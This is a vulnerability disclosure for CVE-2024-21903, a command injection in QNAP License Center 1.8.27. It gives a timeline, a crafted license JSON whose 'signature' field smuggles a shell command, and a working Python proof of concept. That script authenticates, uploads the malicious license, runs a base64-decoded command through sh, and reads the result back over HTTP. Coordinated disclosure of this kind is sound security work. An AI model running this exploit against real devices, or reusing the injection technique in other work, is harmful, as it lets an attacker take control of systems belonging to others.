QNAP QSA-24-20 : License Center - Authenticated remote code execution - CVE-2024-21903
Timeline (DD/MM/YYYY)
- 12/01/2024 : Bug sent to QNAP security team
- 18/01/2024 : QNAP confirms the report reception and asks further information
- 23/02/2024 : CVE-2024-21903 assigned
- 03/04/2024 : Fix is published with License Center 1.8.30
- 25/04/2024 : Security advisory published on the QNAP website
Summary
The LicenseCenter 1.8.27 is vulnerable to command injection and may allow an administrator or a user delegated to use the LicenseCenter to execute an arbitrary command and take control over the system.
Version
This vulnerability was detected on the LicenseCenter 1.8.27. The test environment is based on QTSCloud c5.1.0.2498
Technical details
The vulnerability required to be in the administrators or that the user has been delegated to use the LicenseCenter (System Management).
The exploitation can be done manually by importing this file as a license file.
{
"nonce":"",
"data":"",
"signature":"';id > /home/httpd/cgi-bin/result;'"
}
Once imported, the command result can be reach by navigating to cgi-bin/result
When the user tries to import the license file, the content is unpacked and the signature is verified.
To verify the signature, the function qcloud_license_internal_unpack of the libqlicense is used. But the data is fully controlled by an attacker, and the value is not sanitized before being used.
Exploit
The following exploit is a POC that executes the id
command and saves the result to /home/httpd/cgi-bin/result. This file can be retrieved with an HTTP request.
import requests, base64, json
BASE_URL = "http://10.0.10.11:8080"
USERNAME = ""
PASSWORD = ""
COMMAND = "id"
data = {
"user": USERNAME,
"serviceKey": "1",
"pwd": base64.b64encode(PASSWORD.encode()).decode()
}
sid = requests.post(BASE_URL+"/cgi-bin/authLogin.cgi", data=data).text.split("<authSid><![CDATA[")[1].split("]")[0]
payload = {
"nonce":"",
"data":"",
"signature":"';echo {}|base64 -d |sh > /home/httpd/cgi-bin/result;'".format(base64.b64encode(COMMAND.encode()).decode())
}
files = {
"license_file": ("license.lif", json.dumps(payload))
}
params = {
"language":"ENG",
"cmd":"offline_activate_license",
"is_extend":"0",
"sid":sid,
}
requests.post(BASE_URL+'/cgi-bin/qid/qlicenseRequest.cgi', params=params, files=files)
print(requests.get(BASE_URL+"/cgi-bin/result").text)